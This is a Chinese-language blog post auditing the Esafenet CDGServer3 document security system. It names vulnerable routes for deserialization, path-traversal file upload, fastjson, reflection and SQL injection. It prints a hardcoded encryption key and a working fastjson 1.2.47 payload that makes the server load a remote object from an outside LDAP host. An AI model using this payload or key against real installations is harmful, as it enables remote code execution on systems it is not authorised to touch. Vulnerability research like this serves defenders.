亿赛通电子文档代码审计

0x01 漏洞分析

​ 亿赛通电子文档安全管理系统最近很火热,趁热分析一波。

0x02 (1day)jdbc反序列化

没什么用,安装包没有mysql依赖。

image-20231222174021402

image-20231222174046008

路由 /CDGServer3/LdapAjax

对应com.esafenet.servlet.ajax.DBAjax

image-20231220093540537

doPost接受传参command,若果等于testConnection就调用testConnection方法。

image-20231222121135375

testConnection会获取数据库账号密码,ip,configvalues,然后判断使用什么数据库,然后调用connection方法。

image-20231220094157288

然后就是反射获取服务,链接。全都可以控制,很容易就想起jdbc。

webapps/CDGServer3/config/DBConfig.jsp

jsp里面有对应传输的格式。

image-20231220094540250

复现

image-20231220095830915

0x02 (1day?nday)xstreem反序列化

查看lib,发现存在低版本的xstream的环境包,很自然就可以想到xstream低版本反序列化漏洞。

image-20231221170223093

所以只需要找到一个servlet的里面调用了fromXML就可以了。

所以我们找servlet里面的service方法,看谁调用了fromXML方法就可以了.

由于触发点很多,我们希望只在service里面就找到触发点。

1
2
3
MATCH  (m1:Method {NAME: "service"}) WHERE m1.CLASSNAME =~ "com.esafenet.servlet.service.*"
MATCH path = (m1)-[:CALL]-(m2:Method {NAME:"fromXML"})
RETURN path

image-20231222115957326

这样我们就得到只调用一次就出发漏洞。可以看到很多点。

找其中一个路由 /CDGServer3/UserLoginOutService1

image-20231222203249063

在web.xml找对应的可以进行分析image-20231222120846744

对应 com.esafenet.servlet.service.UserLoginOutService1

image-20231220110956649

从request获取,然后fromXML。

所有重点就是看ServiceUtil.getXMLFromRequest(), 怎么处理。

image-20231220111054322

image-20231220111148015

它会先getXMLFromRequest0获取流转化string,然后调用decodeString解密。

image-20231220111230823

对应的解密算法。

image-20231220111247987

密钥

1
2
private static final byte[] abyte0 = new byte[]{-21, -112, 90, -68, 5, 44, 85, -86, -21, -112, 90, -68, 5, 44, 85, -86};

所以找对应的加密算法就可以。

image-20231220111407884

对应的加密算法。剩下就是xstreem的漏洞流程。

复现

image-20231220113409891

image-20231220113437458

0x03 (nday)文件上传 -1

DecryptApplicationService2_uoload

com.esafenet.servlet.service.smartsec.DecryptApplicationService2

image-20231222174545123

image-20231222174629936

没什么好分析的,从获取fileId然后拼接路径,获取iStream直接写入。

fileId没有过滤,可以目录穿越写入导致rce.

0x04(nday)文件上传 -2

UploadFileFromClientServiceForClient_upload

image-20231222175051914

image-20231222175126611

解密value_code

image-20231222175227500

在下面进行判断

image-20231222175404289

然后可控fileName, InputStream从req获取,最后写入,同理目录穿越写入。

poc

image-20231222175836126

0x05 fastjson

1
/dataflowconf/saveConfig.do
1
com.esafenet.ta.dataconf.controller.saveConfig

image-20231227004844929

image-20231227004959240

image-20231227005043898

我是大彩笔

poc

直接使用1.2.47的payload

1
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://10.211.55.2:80/Object","autoCommit":true}}

0x06 反序列化

1
/dlpPolicy/importPolicy.do
1
com.esafenet.ta.policy.controller.importPolicy

image-20231227005119022

image-20231227005219052

从file获取流加密,然后转对象

image-20231227005737683

image-20231227005640532

加密方法

image-20231227005303455

然后进行反序列化。

很明确了,就是构造加密后的byte为反序列化数据,然后当file上传,后段会先加密file,然后进行反序列化。

需要自己实现对应的解密方法。

复现

image-20231227015928700

0x07 反射调用

1
/dataconf/getDataConfInfo.do
1
com.esafenet.ta.dataconf.controller.DataConfController

image-20231227155316597

image-20231227134859229

反射调用

0x09 sql注入

1
/dlpPolicy/exportPolicy.do
1
com.esafenet.ta.policy.controller.DlpPolicyController

image-20231227153543499

image-20231227153549180

image-20231227153554511

看见很多都是直接拼接,就不一一找了

0x010 后语

​ 练手不错。

声明

此文章 仅用于教育目的。请负责任地使用它,并且仅在您有明确测试权限的系统上使用。滥用此 PoC 可能会导致严重后果。


亿赛通电子文档代码审计
https://unam4.github.io/2023/12/22/亿赛通电子文档代码审计/
作者
unam4
发布于
2023年12月22日
许可协议